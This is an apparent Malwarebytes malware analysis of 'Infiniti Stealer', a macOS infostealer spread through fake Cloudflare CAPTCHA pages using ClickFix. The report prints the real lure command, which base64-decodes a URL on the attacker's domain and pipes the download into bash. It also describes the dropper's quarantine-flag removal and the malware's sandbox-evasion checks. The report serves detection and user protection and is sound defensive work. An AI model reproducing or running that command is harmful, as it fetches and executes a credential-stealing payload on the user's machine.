MalwareBytes

Infiniti Stealer: a new macOS infostealer using ClickFix and Python/Nuitka


A previously undocumented macOS infostealer has surfaced during our routine threat hunting. We initially tracked it as NukeChain, but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer.

This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks users into running a command themselves: a technique known as ClickFix. Instead of exploiting a bug, it relies on social engineering.

The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware.

To our knowledge, this is the first documented macOS campaign combining ClickFix delivery with a Nuitka-compiled Python stealer.

ClickFix: social engineering instead of exploits

ClickFix doesn’t rely on software vulnerabilities. Instead, it relies on convincing the user to run a command themselves.

A fake verification page instructs the visitor to open Terminal, paste a command, and press Return. Once executed, the infection process begins immediately. The technique gained popularity on Windows systems, but it’s now being adapted for macOS, with the instructions tailored to the platform: Command + Space > open Terminal > paste the command

Because the user runs the command directly, many traditional defenses are bypassed. There’s no exploit, no malicious attachment, and no drive‑by download.

Fake CAPTCHA Delivery

The infection begins at update-check[.]com, which serves a convincing replica of a Cloudflare human verification page.

The page instructs the user to paste a verification command into Terminal:

bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode))

Terminal command

Once decoded, the string resolves to a URL hosted on the same domain that returns the first stage dropper script.

Stage 1: Bash Dropper

The first payload is a Bash script using a template previously observed in macOS stealers such as MacSync (also referenced as SHub in earlier research). This suggests the use of a shared builder.

Its responsibilities are straightforward:

  • Decode the embedded payload
  • Write the Stage‑2 binary to /tmp
  • Remove the quarantine flag using xattr -dr com.apple.quarantine
  • Execute the binary via nohup
  • Pass the command-and-control (C2) server and authentication token as environment variables
  • Delete itself and close Terminal via AppleScript

Stage 2: Nuitka Loader

The dropped binary is an Apple Silicon Mach-O executable (~8.6 MB). compiled using Nuitka’s onefile mode.

Its header contains the signature:

4b 41 59 28 b5 2f fd

This corresponds to a KAY ( header followed by a zstd-compressed archive used by Nuitka to package Python applications.

Unlike PyInstaller, Nuitka compiles Python source into C and produces a native binary, increasing the complexity of static analysis.

At runtime the loader decompresses roughly 35 MB of embedded data and launches the final payload.

Stage 3: Python Stealer Payload

The final payload, UpdateHelper[.]bin, is a Python 3.11 stealer compiled with Nuitka.

Stage 3

Despite compilation, the binary exposes thousands of named symbols, allowing its module structure to be reconstructed during analysis.

The stealer targets a wide range of sensitive data:

  • Credentials from Chromium‑based browsers and Firefox
  • macOS Keychain entries
  • Cryptocurrency wallets
  • Plaintext secrets in developer files such as .env
  • Screenshots captured during execution

Data is exfiltrated using HTTP POST requests.

Before beginning data collection, the malware checks whether it is running inside known analysis environments, including:

  • any.run
  • Joe Sandbox
  • Hybrid Analysis
  • VMware
  • VirtualBox

In also introduces a randomized execution delay to evade automated analysis systems.

When exfiltration completes, a function named upload_complete() sends a Telegram notification to the operator and queues captured credentials for server‑side password cracking.

What to do if you think you’ve been affected

The perception that macOS is a low‑risk malware target continues to fade.

Infiniti Stealer shows how techniques that worked on Windows—like ClickFix—are now being adapted to target Mac users.

It also uses newer techniques, like compiling Python into native apps, which makes the malware harder to detect and analyze. If this approach proves effective, we may see more attacks like this.

If you followed instructions like this or pasted commands into Terminal from a website, take action right away:

  1. Stop using the device for sensitive activity (banking, email, work accounts).
  2. Change your passwords on a clean device, starting with email, banking, and Apple ID.
  3. Revoke access: log out of active sessions, and revoke API tokens and SSH keys
  4. Check for suspicious files in /tmp and ~/Library/LaunchAgents/
  5. Run a full Malwarebytes scan to detect and remove any remaining malware.

Remember: Do not paste commands into Terminal from websites. No legitimate CAPTCHA requires this.

Indicators of Compromise (IOCs)

TypeValue
MD5 dropperda73e42d1f9746065f061a6e85e28f0c
SHA256 Stage-31e63be724bf651bb17bcf181d11bacfabef6a6360dcdfda945d6389e80f2b958
C2 domainupdate-check[.]com
C2 URLhttps://update-check[.]com/m/7d8df27d95d9
C2 PanelInfiniti-stealer[.]com
Packer magic4b 41 59 28 b5 2f fd (KAY + zstd)
Debug log/tmp/.bs_debug.log
Temp path/tmp/.2835b1b5098587a9XXXXXX (fixed prefix, random suffix)

Acknowledgements

With thanks to Marcelo Rivero for the binary analysis.


We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.



Source link